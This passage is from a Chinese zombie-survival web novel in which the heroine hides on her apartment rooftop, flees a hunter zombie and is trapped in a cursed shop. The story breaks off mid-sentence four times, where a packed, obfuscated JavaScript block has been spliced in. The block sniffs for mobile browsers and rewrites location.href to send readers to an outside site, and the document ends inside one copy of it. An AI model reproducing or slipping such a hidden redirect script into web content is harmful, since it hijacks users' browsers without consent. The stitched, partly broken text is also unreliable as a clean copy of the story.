那么,这是不是意味着,她只需要找到一个安全的地方,静静地挺过接下来的两天就可以了?如果再幸运一点,中立区的时间流速没有想象中那么慢的话,也许时间会更短。 这个念头让容目精神一振。 有了目标,行动才能有方向,到现在的问题是,哪里能让她安全地躲过接下来的两天? 之前的便利店已经暴露了,并且也没有合适的藏身之处,因为工作压力大,加班频率高,她又没好好逛过这座大都市,导致她根本不怎么熟悉这里的各个地区,更加不知道有什么比较安全的地方。 她唯一熟悉的一片街区,还是她租住的公寓所在之处…… 等等,她租的公寓!一道思绪如闪电般划过脑海,让容目的心里微微一亮——她记得那栋公寓楼上,有一个合适的藏身地。 作为一个刚刚在大都市落下脚的年轻人,容目可谓是一贫如洗,租住的公寓环境自然也不好,三教九流什么人都有,管理也很松散,所以自然就会出现很多跳脱于规则之外的行为。 比如公寓楼顶层,有一个被私自改建的晾晒区,平时很少有人上去。自从那个改建的业主搬走以后,顶层更是荒废已久,总堆着各种杂物,积了许多灰尘也无人清扫。 重要的是,那里有一个废弃的水箱房,因为位置隐蔽且空间狭小,连物业都很少去检查。 容目知道这个地方也是机缘巧合。有一回,几家的小孩跑去天台探险,家长兴师动众,吵吵闹闹地发动了不少人找孩子,花了小半天的时间,才在废弃的水箱房里找到了几个玩的不亦乐乎的小孩。 容目正好那天休假,也在找人的行列里,于是就知道了这么个地方。 现在想来,这个地点完美符合了她的需求:位置高,视野开阔,便于观察丧尸动向;入口隐蔽,不易被发现;空间狭小,容易排查内部是否存在潜在危险,适合藏身。 打定主意后,容目立刻行动起来。她谨慎地沿着容目带她来的路前进,尽量避开视野受限、容易受埋伏的幽暗巷道。 街道上随处可见凝固的血迹和散乱的杂物,偶尔能看见几具被啃食得面目全非的尸体。她强忍住自己呕吐的欲望,硬生生移开视线,专注于前方的路。 这条路比她想象的好走一些,容目一路上几乎没受到任何阻拦。丧尸们稀稀零零地游荡在街巷中,动作迟缓,走动间发出的杂音很大,隔了很远就能听见。 容目没费多大功夫,就避开了那些看起来智力不高的丧尸,又绕进了一条辅路。 一边赶路,容目心里一边浮起了几个疑问:这个副本,究竟是独立的一个空间,与现实世界平行存在;还是……它就建立在现实世界之上?她的家人朋友们都还好吗?现实世界会受到影响吗? 按理来说,这是一个大都市,无论在什么时候,街道上都从不缺人,人口密度高得很,但是她所看到的尸体却并不多,甚至对比正常的人口数量来看,尸体可以说是很少了。 这是不是说明……这个副本只是借鉴了现实世界的壳子和基础,并不是直接侵吞改造了现实世界? 容目希望自己的这个推测是正确的。她的亲人,她的朋友,她与之建立了联系的许许多多的人,都生活在这个世界上,自己遭受的这些危险,她不希望他们也都一一经历。 她应该没办法摆脱这种诡异的事情了,但是至少……至少她认识的其他人都还安好,这是她目前唯一的安慰。 但是,有一件事情却始终凉凉地浮在她的脑海中,如同一根尖针,时不时刺一下她绷紧的神经,让容目不得不将注意力转向它——如果她的猜想正确,那么王阿姨又是怎么回事? 很明显,王阿姨并不是玩家,否则她不会在刚刚进入副本的时候就变成那种样子。那她为什么会出现在副本里? 副本中究竟是否会存在“非玩家”? 这个问题凉凉地横在她的思维中心,不断扰乱着她的思绪,可是容目却拿它没有任何办法。在她没找到足够支撑的证据之前,所有的猜测其实都只是她的一厢情愿罢了。 她心事重重地在街道中穿行,又绕过一栋高楼以后,熟悉的公寓终于出现在她的眼前。 明明才离开不到三天,但是此刻,当容目看到这栋在其他高楼的映衬下显得低矮老旧的公寓时,心却不由自主地放松了下来。这是她在这座大都市的落脚地,也是她自己的小家,无论什么时候,“家”这个字都让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039431|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人感到心安。 容目小心地朝着公寓楼前行,一路上警惕地观察四周,确认没有危险后,她以自己最快的速度扑进了半敞着门的楼道里。 楼道里弥漫着灰尘和血腥混合的气味,浓烈刺鼻,令容目皱了皱眉头。她屏住呼吸,侧耳倾听片刻,确认没什么异常声响后,才开始小心翼翼地从备用楼梯间向上爬。 楼梯间里散落着杂物和凝固的血迹,到处都是逃亡的人们留下的痕迹,但幸运的是,这里没有尸体。每经过一个楼层,她都会停下来,透过防火门的玻璃观察楼道里的情况。大多数楼层的走廊都空无一人,只有几扇敞开的房门后露出了一地狼籍。 当她爬到第八层时,楼上隐隐约约传来了“咚”的一声闷响,随即是拖拽重物的摩擦声。她立即闪身躲进转角阴影处,握紧了自己刚从路边捡来的铁棍,心脏砰砰直跳。 正当她犹豫着自己是否该继续往前走时,楼上又传来了“砰”的一声,像是门被人重重甩上的声音,随即一切重归寂静。 容目又等待了几分钟,确认没有其他动静后,才小心翼翼地继续向上走。经过九楼时,她注意到防火门后的走廊里有一道新鲜的血迹,一直延伸到902号房间门口就中断了。容目怔怔地盯着那道血迹,半晌,她闭了闭眼,拧过头,加快脚步,几乎是以逃跑的姿态向顶楼冲去。 通往天台的铁门虚掩着,锁头早就坏了,无精打采地挂在门上,充当一个摆设的作用。 容目“呼哧呼哧”地喘着粗气,肺里火烧火燎地疼,连呼出的气息都仿佛带上了血腥味,她强忍住自己即将喷薄而出的眼泪,轻轻推开门,刺眼的阳光让她下意识眯起眼睛。 她不知道自己为什么哭,是眼睁睁看着同类死去而无能为力的痛苦?是对自己胆小怯懦的厌恶?是对面目全非的世界的恐惧?还是别的什么?她分不清。 她只能任凭眼泪不断流淌下来,模糊她的视线,让一切都蒙在一层水雾之下。 她咬着牙,在模糊的视线中,在滚烫的泪水中,一步一步挪向了角落的水箱房。 门关着,但锁扣早就松动了,只是虚虚挂在门上,容目只是轻轻一拽,锁头就应声而落。 推开门,一股霉味扑面而来,容目擦干眼泪,用依然红肿的眼睛扫视了一圈。里面空间不大,约摸四平米见方,除了一个废弃的水箱外别无他物,墙壁上布满了蛛网,地面上积了厚厚一层灰尘。 容目仔细检查了整个空间,确认没有其他出入口后,这才松了口气。她将铁门虚掩,留出一道缝隙用于观察和通风,然后在水箱后的角落坐下。 从这个角度,她可以通过门缝看到大半个天台的情况,同时自身又处于阴影之中,相当隐蔽。 阳光透过门缝洒在地面上,形成一道细长的光带。容目抱着膝盖,感受着久违的安全感。 虽然这里条件简陋,但至少暂时不用担心丧尸的袭击。她只需要在这里待上两天,等到副本结束…… 就在这时,楼下突然传来一声巨响,像是有什么重物坠地。容目立刻警觉地凑到门缝前,屏息观察。 天台上依然空无一人,但那声巨响之后,整栋楼都陷入了一种诡异的寂静。 容目轻轻皱起眉头。这种寂静,比之前的任何声响都更让人不安。 19. 第19章 第一个任务 那声巨响后的寂静持续了约莫十分钟。 容目屏息凝神,透过门缝紧盯着天台入口。灰尘在斜照的阳光下缓缓浮动,除此之外再无任何动静。 正当她以为只是虚惊一场时,一阵缓慢而沉重的脚步声从楼梯间传来。脚步声带着某种不自然的拖沓,每一步都伴随着细微的金属摩擦声。 容目下意识地往后缩了缩,将自己完全隐藏在水箱后的阴影里。她握紧手中的铁棍,指节因用力而微微发白。 脚步声在天台入口处停顿了片刻,随即传出了铁门被推开时的刺耳吱呀声,一个高大的身影逆光站在门口。 那曾经是个穿着保安制服的男人,但现在,只需要看一眼就知道,他已经彻彻底底地变成了一只丧尸。破烂不堪、沾满深色污渍的制服挂在它身上,随着它的脚步一摇一晃。 它的动作僵硬,头以一种奇怪的角度歪向一侧,让人疑心它到底能不能看见前方的路。最令人不安的是,他手中拖着一把消防斧,就是斧刃在地面上划出了断续的摩擦声。 保安在天台中央停下脚步,缓缓转动脖颈,用浑浊的眼珠扫视着四周。容目屏住呼吸,连心跳都仿佛停滞了,从这个角度,她能清晰地看到保安脸上青灰色的皮肤和嘴角干涸的血迹,也能清楚地感受到它身上传出的力量感——这是一只高级别的丧尸。 眼见那丧尸在原地站了一会,又晃晃悠悠地走了几步,似乎没发现这边还有一个可以藏人的水箱房,容目略略松了口气。 但就在这时,许久不曾出声的电子音突兀地在她脑海中响起,惊了容目一跳。她在突如其来的惊吓中一哆嗦,手臂撞上了身侧的水管,发出了不轻不重“咚”的一声。 平时发出这种声音当然不算什么,但是,这里如今还有一只高级丧尸。 那丧尸听见动静,爆发出一声嘶吼,迅速转身,以一种与它高大身形不符的敏捷向水房冲来。 它冲踏地面的声音隆隆作响,不过十几秒钟,就已经到达了水房门口。 丧尸没有丝毫停顿,“砰”地一声撞开了虚掩着的水房门。 里面空无一人。 丧尸喉咙中发出了一声似乎有点疑惑的“嘶嘶”声,又探头进来看了一眼,的确,一个人都没有。这个小水房一眼就能扫到尽头,没有任何可以藏人的地方。它安静下来,在门口徘徊两圈,似乎有些犹豫不决,斧头无意识地在门框上刮擦了几下。 又过了几秒,那丧尸没发现什么可疑之处,终于慢慢拖着脚步走远了。 直到脚步声远得听不见了,容目依然死死抓住头上的管道,像树袋熊一样手脚并用挂在上面,一动也不敢动。 大开的门就在她的后背下方,刚才丧尸如果在探头进来的同时抬头扫上一眼,她的存在就会暴露无遗。 但好在这次,幸运之神眷顾了她。 容目又拼命在管道上挂了一会,生怕那丧尸再杀一个回马枪。但丧尸似乎没那么高的智商,真的一步一步走远了,在巡视一圈以后,随着又一声天台铁门的吱呀声,拖拽着消防斧的声音渐渐远去了。 容目终于脱力,半爬半摔地坐在地上,连抬一根手指的力气都没有了,只能瘫坐在墙角虚弱地喘息。 说起来,这道电子音害了她,但同时也救了她。 当那丧尸在周围搜寻的时候,那道电子音平板冷漠的音调就像是抓准了时机,特意要让她身陷险境: 【紧急任务:生存的艺术】 【任务要求:在随机出现的猎杀者追踪下保持存活,直到此副本结束】 【任务提示:猎杀者视觉与嗅觉都已严重退化,但听觉格外敏锐,请尽量减少行动中发出的声音】 在容目不小心撞出声音,猎杀者转身冲来的那十来秒钟里,最初的几秒,容目脑海一片空白。 她不可能与猎杀者硬碰硬,对方和她根本就不是食物链同一层的生物,她拿什么来对抗? 电子音给出的任务提示也几乎是无用的,即使自己知道猎杀者视觉与嗅觉不灵敏又能怎样?对方都已经知道准确位置,冲过来了,根本没有转圜的余地。 容目蹲在地上,眼神慌乱且无意识地四下看了一圈,找不到任何对她现在情况有帮助的东西。当初为了安全隐蔽找到了水箱房,可现在连一个逃生用的小口都没有,这可真是现实版的作茧自缚。 容目心中的后悔几乎要化成实质了。 短短几秒,猎杀者隆隆的脚步声就越来越近了,再有不到十秒,她就要交待在这里了。 容目绝望地抬起头,随即顿住了。 不对,也许她还有一线生机。 天花板上嵌着几条粗大的管道,不知道是做什么用的,但是应该能承受住她的体重,如果她抓住管道,正好可以挂在门框上方高一点的位置,猎杀者既然视觉和嗅觉都不灵敏,没准发现不了她! 一下决定,容目立即跳起来,踩着水箱盖子将自己拽了上去,手忙脚乱地抱住管道。整个过程中她都没有刻意放轻动作,也是多亏了猎杀者魁梧的体型和踩在地上“砰砰”的脚步声,遮掩了容目发出的动静。 几乎在容目刚刚藏好的同时,门就被猎杀者“砰”地一声撞开了。 接下来的事,就不用多说了。 容目靠着墙坐了好半天,终于缓过来一点,有力气将手伸进衣服口袋里,掏出了一大块巧克力。她手抖得连包装都差点撕不开,尝试了好几次,终于将巧克力塞进了嘴里。 之前和林暖在便利店里收集的物资早就在典当行危机里遗失了,现在她又成了一个物资匮乏的人,只剩下当时为了及时补充体力而塞进口袋里的几块巧克力。 补充了糖分以后,她脱力的状况有所缓解。 容目扶着墙站起来,将剩下的巧克力收好,活动活动酸痛的肌肉,试图让自己尽快恢复过来。 猎杀者虽然暂时离开了,但任务要求是存活至副本结束,意味着它随时可能再次出现,甚至还有更糟的情况……这座城市里,不止有一个猎杀者。 容目走到门边,谨慎地观察天台。夕阳已经西沉,夜晚只会更加危机四伏,可距离副本结束还有一天多的时间。猎杀者的出现也让这个原本相对安全的藏身之处变成了险地。 地面上几处新鲜的血迹,沿着猎杀者刚刚离开的楼梯向下延伸,直至消失。 容目皱了皱眉,猎杀者去了楼下,如果她现在转移,很有可能会和它碰个正着。 她凝神听了片刻,猎杀者沉重的脚步声就在楼下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039432|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徘徊,时而靠近楼梯,时而远远地在走廊其他地方巡视,它目前的活动空间似乎只在这层楼。 她尽量悄无声息地退回了水箱房,快速思考着对策。硬闯肯定行不通,猎杀者的听觉异常敏锐,任何轻微的声响都有可能暴露行踪。但继续留在天台也不是办法,猎杀者随时可能出现,这里地形空旷,一旦被围困就无处可逃。 容目四下扫了一圈,目光落在排水管道上。这条锈迹斑斑的管道从楼顶一直延伸到地面,虽然看起来不太牢固,但或许可以成为一条出路。 她小心地探身向下望去。这高度让人有一点眩晕,但她还是看清了,管道旁每隔一段距离就有一个固定的支架,可以作为落脚点。更重要的是,这条管道位于建筑背面,相对隐蔽,能大大降低被猎杀者发现的风险。 反正她刚刚已经爬过一次管道了,一回生二回熟,再爬一次应该就不那么困难了。容目一边给自己打气,一边慢慢地将一条腿伸出了天台。 她翻身攀上管道,铁锈的粗糙触感透过衣服传来,她小心翼翼地摸索着移动,不敢向下看,每一步都做到最轻。 爬到五楼时,她透过身旁的一扇破窗瞥见了室内的情景:另一个猎杀者正在走廊尽头撕扯着什么,深色的液体溅满了墙壁。她强忍回涌到喉边的酸液,加快速度,在猎杀者发出的噪音掩护下继续下行。 果然,果然不止有一个猎杀者。容目暗暗心惊,速度丝毫不敢放慢。 到达三楼和二楼的交界处时,意外陡生。一直勤勤恳恳工作的管道似乎突然想罢工了,锈蚀的管道在她脚下突然断裂,发出了刺耳的金属撕裂声。容目一脚踩空,没忍住从喉咙里发出了半声惊叫,死死抓住了上方的管道,身体在空中摇晃。 楼内传出的声响戛然而止。 这么大的声响,在以听觉见长的猎杀者听来,无异于是震耳欲聋,对方肯定已经发现自己了!剩下的高度在可承受范围内,掌握好角度应该不会摔伤,容目一咬牙,立即放松双手,虚虚握住管道,任由身体向下滑落。 手掌被粗糙的铁质表面刮得生疼,但她顾不得这些了。在即将到达地面时,她调整姿势,屈膝缓冲,有些狼狈地落了地,终于幸运地没伤到什么地方。 几乎在同一时间,上方的窗户被猛地撞碎了,猎杀者的头颅探出窗外,发出愤怒的咆哮。 容目拼命向前疾奔,身后传来重物落地的巨响,她回头扫了一眼,猎杀者竟然直接从窗口跳了下来! 她暗暗叫苦,却也无可奈何,只能闷头朝前跑,寄希望于自己能凭借地形甩掉猎杀者。 又转过两个街角,她闪身躲进一栋半塌的商铺,猫下腰藏在阴影里不动了。 猎杀者跟着冲进了街角,没在前方看到容目的影子,它疑惑又气急败坏地转了几圈,最后挑了一条岔路离开了。 容目靠在墙上平复呼吸,检查手上的伤势。掌心有数道血痕,但好在不算深,不影响正常行动。她拿布条略略缠了几圈,权当纱布,没有消毒水之类的药品,也只能勉强处理成这样。 黑夜渐渐笼罩了下来,没有灯光,让一切都蒙在了阴影里。 黑夜也让人的五感变得更加迟钝,以至于当那只手碰上容目之前,她丝毫没有察觉。 20. 第20章 商店 搭上容目肩膀的手冰冷而僵硬,指尖带着死尸特有的青灰色,触碰上容目肩头的瞬间,她全身的血液仿佛都凝固了。 她像只受惊的猫般猛地向前扑去,同时转身挥出手中的铁棍。铁棍毫无阻碍地撞在了什么东西上,发出沉重的“咚”声,借着昏蒙蒙的微弱月光,容目急急拧身,终于看清了身后的情况—— 一个穿着商店制服的年轻女孩愣愣地站在原地,一只手仍然抬着,保持着伸手触碰的姿势。很明显,刚刚就是她碰上了自己的肩膀。 不,或许已经不该称为“她”了。 女孩约摸二十出头,面色苍白,毫无血色,脖颈处却横着一道深可见骨的伤口,鲜血淋漓,边缘已经发黑腐烂了,似乎全身上下的血液都从这道伤口中流出去了。 但最令人毛骨悚然的是,她正对着容目露出一个僵硬的微笑,嘴角咧开的弧度极不自然,几乎要触碰到眼角,像是被人用线强行拉扯出来的。 “需要……帮助吗?”女孩的嘴唇机械地开合,声音嘶哑破碎,断断续续,像是从破碎的风箱里挤出来的,每个字都带着气音。 容目握紧铁棍,面朝“女孩”缓缓后退,鞋底摩擦着地面残余的碎玻璃,发出“沙沙”的轻响。这肯定不是活人,但和一般的丧尸却又不一样。 它似乎还保留着生前的某些行为模式,眼神虽然空洞,却不像其他丧尸那样完全失去理智。 女孩疑惑地歪了歪头,似乎不明白容目为什么退远了。这个动作让她脖颈处的伤口裂开得更大了,暗红色的腐肉随着肌肉的收缩微微颤动。 它空洞的眼睛一眨不眨地盯着容目,又发出了破碎的声音:“顾客……请到收银台……结账。” 它一边艰难地挤出声音,一边慢慢地向容目移动,手臂不自然地抬起,关节发出“咔哒”脆响,僵硬地指向店铺前厅的方向。随着它的靠近,一股混合着腐臭和廉价香水的怪异气味扑面而来。 容目一边缓缓后退,一边看着“女孩”拖着脚步,像是提线木偶般不协调,动作比猎杀者迟缓得多。她侧身避开,试图寻找离开的路线,月光从破碎的屋顶漏下,在布满灰尘的地板上投下斑驳的光影。 塌下来的出口正好被“女孩”挡在了身后,如果想出去,势必要从它身旁经过,容目不想冒这个险。 “你……需要什么……商品?”它突然加快速度,双手猛地伸向容目,指甲缝里满是黑红色的污垢。容目皱着眉头躲开,铁棍再次挥出,击中它的侧腰,发出“砰”的一声闷响。 没有用。容目心里生起了一股烦躁,她已经打中这个怪物两次了,每次她都使了大力气,可是击在对方身上都毫无用处,这怪物连动作都没有丝毫停顿。 它断断续续地、又无比坚持地说着些什么,但这一次容目根本听不懂了,因为这些音节与其说是句子,不如说是一个人梦中的呓语,含混不清,难以辨别。 那怪物固执地伸出双手,晃晃悠悠地继续向容目走来,尝试了半天,居然又吐出了一句勉强算是人话的句子:“欢迎……光临。” 什么东西?她不会又不知不觉跑进一个中立区,还触发了规则吧?容目在狭小的商店里躲闪着,心里暗暗叫苦。 在躲过怪物的又一次抓挠后,容目终于抓住时机,从它旁边冲了过去,直奔塌了一半的出口而去。 她的动作很快,也很精确,在身后怪物反应过来之前,她已经站在了门口,只需要再往前迈一步,她就能离开这个鬼地方了。 但是容目却站在那,满面通红,大汗淋漓,却始终没向前走。 她出不去。 面前空空如也,没有任何遮挡,她的视线能在月光下轻而易举地投向对面的墙壁和楼房,但是,她的身体却被限制在了这一方小小的空间里,任何想要出去的动作都会被无情地凝固住,让她不能移动分毫。 这种情况……她果然是又进了一个中立区吧。 容目僵在门口,冷汗顺着额角滑落。那个“店员”仍在执着地向她靠近,重复着那几句支离破碎的话: “顾客……请到收银台……结账。” “你……需要什么……商品?” “欢迎……光临。” 这几句话随风飘散,没在容目心里留下什么印记。这个店员已经变成怪物了,说话自然没什么逻辑可言,现在当务之急是找出中立区的规则和要求,赶紧破局离开。 她回头看了看,见那怪物离自己还有一段距离,抓紧打量了一下商店的环境。 这店很小,一眼就能看到底,破损歪倒的几个小小货架乱七八糟地堆在地上,商品早就不剩多少了,也胡乱扔得满地都是,唯一还算整洁的,就是之前这个店员手指向的收银台,上面还剩了一台老旧的电脑,应该是连接着监控系统。 说是还算整洁,但收银台上也早就积了一层厚厚的灰,让人连桌面的颜色都看不清。 直到现在,容目依然不清楚中立区究竟想让她干什么,但是既然中立区设在了一家商店里,是不是意味着通关条件与人在商店内的日常行为有关? 就像之前的典当行,通关条件也与典当、交易等等行为有所关联。 容目从门口挪远了几步,这次,她毫不费力地就抬起脚,重新走进了商店深处,看样子只要自己不想着逃跑,中立区就不会多加干涉她的行动。容目有些无奈地想。 她面朝“店员”,脚下慢慢地和它兜着圈子,接上了之前的思绪。 与商店有关的行为,无非就是买卖,结合店员断断续续的那几句话来看,自己现在应该是顾客。 商品……结账……容目脚下顿了顿,难道破局的关键是买一样东西? 她又看了一眼歪歪斜斜走过来的“店员”,决定验证一下自己的猜想。 再次绕过一个翻倒货架的时候,容目迅速一弯腰,从地上捡起了一件被灰蒙得看不清的东西,似乎是一袋零食。她举起这袋零食,对着“店员”晃了晃,“我要买这个,结账吧。” 听了这句话,那“店员”的动作显而易见地顿了顿,随即它倏地扭转过身体,因为动作过大,还发出了令人牙酸的骨节响声。 只见那“店员”转身迈步,一刻也不停顿地走到了那张收银台后,枯瘦的手指在电脑键盘上点了点,让屏幕重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039433|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新亮起来。它对容目露出了一个勉强称之为微笑的表情,扯着嘶哑的喉咙,挤出了几个字: “这边……结账。” 猜对了?容目的心跳漏了一拍,她抓到了中立区的一个隐藏规则。 她谨慎地绕过收银台,紧紧盯着“店员”的一举一动,伸长手臂将刚才捡到的那袋零食轻轻放在了柜台上,即使是这么轻的动作,也激起了一层浮灰。 “店员”根本没往她身上看,它的目光死死黏在那袋零食上,专注而渴望,仿佛那里面有什么吸引它的东西一样。 容目刚刚缩回手,“店员”就以一种近乎是急迫的动作将零食一把抓在手里,动作之大让容目担心它会不会把自己摇散架。零食包装袋在它手心里发出刺耳的摩擦声,被攥成紧紧的一团。 “店员”一手抓着零食包装袋,另一手从柜台底下捞出了一把黑色的扫码枪,对准被灰尘蒙了个结实的包装袋扫了一下。 “滴”的一声,扫码枪里闪过一道红光,那“店员”把扫码枪随意扔在桌子上,在激起的灰尘中,伸手在键盘上僵硬地敲打了几下。 然后,它慢慢地抬起头,一点一点转向了容目,一双浑浊发黄的眼球直直地盯着她,嘴角那夸张而僵硬的笑容一下子落了下去,抿成了一道向下的弧度。 它就这样静静地盯了容目几秒钟,缓慢地吐出了几个字:“商品……错误。” 在它说出那几个字的瞬间,容目后背一凉,强烈的危机感眨眼间攥住了她的心脏。 来不及思索,她直直向地上一扑,背上刮过了一阵迅猛的风,即使隔着衣料,她也能感受到那种尖锐的力量,如果被那种力量打实了,容目敢肯定,自己一定会被捅个对穿。 她扑倒在地上,还来不及喘匀一口气,就急忙在地上翻滚了几圈,勉强避过了又一道尖锐的攻击。 “砰”的一声,有什么东西在她身边不远处落了地,砸出一道不轻不重的响声。 容目借着短暂的间隙爬起身,回身一望,不由惊出了一身冷汗。 就在她刚刚站立的那块地板上,正插着几把厨房用菜刀。刀刃锋锐,在黯淡的月光下依然闪烁着充满侵略性的寒光,刀柄露在地板外,微微颤动着,映在容目眼中,让她打了个寒战。 如果当初自己的反应再慢上一点……她不敢深想,只能摇摇头,似乎想把这个念头甩出自己的脑海。 一时间,商店内安静极了。容目不敢出声,那“店员”也没有动作,只剩下了一片昏蒙蒙的安静。 如果不是地上依然插着的那几把尖刀,容目真的会忍不住怀疑刚才的一切都是自己想象出来的了。 沉默不过持续了片刻,在容目一边监视四周,一边在心里复盘的时候,“店员”慢慢移动了。 它从收银台后绕了出来,径直走向了一个翻倒的货架,将手中一直攥着的那包零食放在了货架的一个空位上。 然后,它抬起头,脖子拧转了一百八十度,下巴搭在自己的后背上,以这种诡异的姿势面对着容目,又咧开了嘴角,露出一个僵硬而夸张的笑: “顾客……请到收银台……结账。” 21. 第21章 寻找 往好处想,虽然她被困在这家商店里出不去,但是外面的猎杀者应该也进不来,这样的话,她很快就能完成电子音的任务了。 在容目被困商店的第三个小时,她颇有些苦中作乐地想。 自从第一次找出商品的尝试宣告失败以后,“店员”又开始紧跟着她行动了。 并且,在容目一连试了好几次其他的商品,又全都不是目标商品之后,她惊恐地发现,“店员”的身体素质似乎正在不断攀升。 本来她已经对“店员”的行动速度有了一个初步的认知,只需要保持五六步远的距离,让它一伸手够不到自己就可以了,容目保持着正常步速就能轻松和它拉开距离。 但是在第三次找到错误商品之后,“店员”的移动速度有了显著的提高,那一次,容目在猝不及防之下差点被它抓个正着。 现在,她只能小跑起来,像一只无头苍蝇一样在商店的废墟里乱转,身后紧紧跟着僵硬的“店员”,根本分不出闲暇来思考中立区的用意,以及弯腰寻找商品。 这样下去根本不行!她的体力总会耗尽,而“店员”看起来根本不会疲惫,还有中立区为它源源不断地输送能量,再这样下去,她迟早会被抓住。 容目心中焦躁,却对现在的情况无可奈何。 她不知道被“店员”碰上会有什么后果,但她也丝毫不想尝试。 容目回头迅速扫了一眼,“店员”紧紧跟随着她,面上依然挂着令人毛骨悚然的笑,仿佛很开心兴奋的样子。 她赶紧转过头,后背上汗毛炸立,这地方真是诡异得很。这样的追逐又持续了三分钟,依然没有停止的迹象,容目也依然没有找到破局的方法。 容目的呼吸开始急促,双腿如同灌了铅般沉重。她本来就是刚从猎杀者手下逃出来,还没来得及好好休息,就又被卷进了这个中立区里,无论是体能还是思维现在都并非处在巅峰时刻,还要一刻不停地被“店员”追着跑,体力消耗得更快了。她能坚持到现在,全凭着一股求生的欲望在支撑。 身后的“店员”步伐依然平稳,保持着同一个速度向她追来,甚至还有隐隐加快的趋势。 又一个急转弯时,容目绊到了散落在地的商品,整个人不受控制地向前扑去。在摔倒的瞬间,“店员”早就赶了上来,冰冷的手指擦过了她不自觉甩向身后的胳膊。 一阵刺骨的寒意瞬间从手臂上传遍全身。容目狼狈地翻滚起身,一边勉力奔跑,一边看了一眼自己刚刚被触碰的手臂——那里的皮肤已经泛起了不正常的青灰色,并且还在缓缓向上蔓延,大有将她全身上下都变成“店员”那种颜色的架势。 她强忍着不适继续奔跑,但速度明显慢了下来。那股寒意像是活物般在体内游走,所到之处都会让自己的肌肉行动变得缓慢不少,体力也如同泄洪一般不断流失,眼前一阵阵发黑。 怎么办…… “你需要什么……商品?” “店员”的声音突然变得清晰了许多,甚至似乎还产生了语调的变化。 这声音……离她好近。容目已经无暇顾及其他,她将全部的意志都投注在了自己的双腿上,只希望自己能跑得快一点,再快一点。 那“店员”似乎对自己流畅起来的声音十分感兴趣,在容目身后一声接一声地说着话: “欢迎光临!” 容目紧急向右跳过了一个翻倒的货架,换了个方向继续向前冲。它翻来覆去就只说这三句话,即使容目现在依然昏昏沉沉,她也都背下来了。 这店员说话很奇怪,最开头的一句话是“顾客请到收银台结账。”下一句却是“你需要什么商品。”再下一句更奇怪了,是“欢迎光临。” 完全和正常人说话的顺序相反。 容目隐隐觉得这一定与中立区的特性有关,但却完全不知道该怎么去应用它。 视线越来越模糊了,双腿几乎是在泥沼中跋涉,每一步都沉滞而痛苦。青灰色的斑痕已经蔓延至肩颈,每一次呼吸都带着冰碴般的刺痛。她扶着货架,尽全力加快速度,但却无比清醒地意识到,再这样下去,她必死无疑。 再次经过收银台时,她无意间扫过收银台后方——那里挂着一面布满裂纹的镜子。镜中映出了她与她身后的情景:那个紧追不舍的“店员”,在不断说话的过程中,脖颈处似乎愈合了不少的伤口正在随着声带震动而轻微开合,如同一只蠕动触须的海葵,惊悚又恶心。 一个危险的念头闪过容目的脑海。 她改变方向,拼尽最后力气冲向收银台。“店员”立刻跟上,枯瘦的手指带着兴奋向她的后背抓来。 容目猛地蹲下身,抓起地上一截断裂的货架钢管。“店员”冲势不减,向地上扑来。就在这个瞬间,容目用钢管狠狠刺向镜面! “砰——” 镜面应声碎裂,无数碎片如雪花般飞溅。容目低下头,紧紧抱住脑袋,护住自己身上致命的部位。 尖锐的玻璃渣划过她露在外面的手臂皮肤,留下一道道血痕,她躲避得及时,受的只是皮外伤。 她没指望会靠几片碎玻璃就解决掉“店员”,毕竟伤害确实有限,但是只需要有一片玻璃扎进了正确的位置就足够了。 听着身后“店员”突然倒吸一口凉气的声音,又感受了一下手臂渐渐恢复的温度,容目勉强勾起唇角,露出了一个苍白的微笑,看起来,她赌对了。 她撑着手中的钢管慢慢站起来,扶住了收银台面。几点泛着莹莹反光的玻璃碎片扎在“店员”喉咙伤口处,不算深,但依然不断有黑色的浑浊血液从它喉咙里流出。 每流失一点血液,容目的力量就恢复一分,“店员”的身体就干瘪一点。它喉咙口的致命伤在渐渐扩大,周围的血肉也像是失去了活性,软趴趴地伏在主人的伤口周围,不再蠕动了。 容目咳了一声,勉强压下了自己喉间的血腥气,慢慢走到店员身边蹲下了。 看着“店员”此刻的样子,再感受着自己如今渐渐恢复的体力,她大概猜出了中立区的一部分逻辑。 从本质上来说,她和店员的最终目标其实应该是一样的。自己的任务是找到出口,离开中立区,而“店员”……她苦笑了一下,“店员”应该是能够通过击杀“顾客”,汲取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 